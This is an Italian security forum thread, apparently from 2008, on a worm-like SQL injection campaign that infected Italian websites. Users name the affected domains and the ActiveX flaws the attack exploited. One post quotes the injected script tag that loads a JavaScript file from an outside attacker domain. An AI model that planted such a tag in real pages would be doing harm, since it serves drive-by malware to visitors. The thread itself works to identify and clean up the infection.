[NEWS] Nuovi Attacchi di SQL Injection Worm-like

[juninho85]

ariel.ctu.unimi.it/corsi link...quelll'1% saranno tutti studenti in erasmus?

[Chill-Out]

I sotto elencati siti .it puntano a xprmn4u[dot]info

namb[dot]it
noris-audio-video[dot]it

felixia[dot]it punta a nihaorr1[dot]com

[juninho85]

potresti indicarmi la porzione di codice infetto?

[murack83pa]

in namb[dot]it lo script si trova in title:

<title>N.A.M.B. FORUM<script src="http://xprmn4u.info/f.js"></script> ~ Cerca</title>

c'è pure un forum credo svizzero su eric clapton infetto:
www[dot]ericclapton[dot]ch/forum/index.php

da notare che in questo caso, google avverte che il sito è infetto...(sono a pagina 10 della ricerca della parola xprmn4u.info)

[juninho85]

Originariamente inviato da Chill-Out

Al momento e per quel che sò vengono sfruttate le seguenti vulnerabilità:

MDAC
RealPlayer

che si appoggiano su controlli Active X quindi come sottolineava Edgar è bene usare FF o Opera ed evitare IE come la peste. Altra cosa importante è tenere i software complementari aggiornati, certo che con RealPlayer risulta difficile

per mdac confermo
ho provato a consentire l'active x e avira webguard se li cazzia tutti

[Edgar Bangkok]

Ho aggiunto sul blog una breve analisi dello script con la decodifica che punta al sito cinese contenente gli exploits

http://edetools.blogspot.com/2008/05...t-presnte.html


Edgar

[Ignorante Informatico]

Originariamente inviato da murack83pa

il mio peerguardian mi blocca (HTTP) l'accesso al sito tg2 ... leggendo lo script, mi sembra che c sia questo indirizzo: www[dot]kisswow[dot]com ... dovrebe essere un sito porno, almeno cosi mi dice finjan..

E poi dicono che il TG2 è noioso

Comunque, ho l'impressione che punti anche ad altri indirizzi.

[Chill-Out]

Originariamente inviato da Ignorante Informatico

E poi dicono che il TG2 è noioso

Comunque, ho l'impressione che punti anche ad altri indirizzi.

E' stato ripulito

[Chill-Out]

Originariamente inviato da Edgar Bangkok

Ho aggiunto sul blog una breve analisi dello script con la decodifica che punta al sito cinese contenente gli exploits

http://edetools.blogspot.com/2008/05...t-presnte.html


Edgar

Ottimo Edgar, perchè non metti il blog in firma

[Chill-Out]

Originariamente inviato da juninho85

per mdac confermo
ho provato a consentire l'active x e avira webguard se li cazzia tutti

[juninho85]

comunque edgar,se ti consola pure a me è andata in errore la macchina virtuale mentre creava file su file sotto sytem32/catroot

[Ignorante Informatico]

Originariamente inviato da Chill-Out

E' stato ripulito

Grazie per l'info

[Chill-Out]

Originariamente inviato da Ignorante Informatico

Grazie per l'info

Prego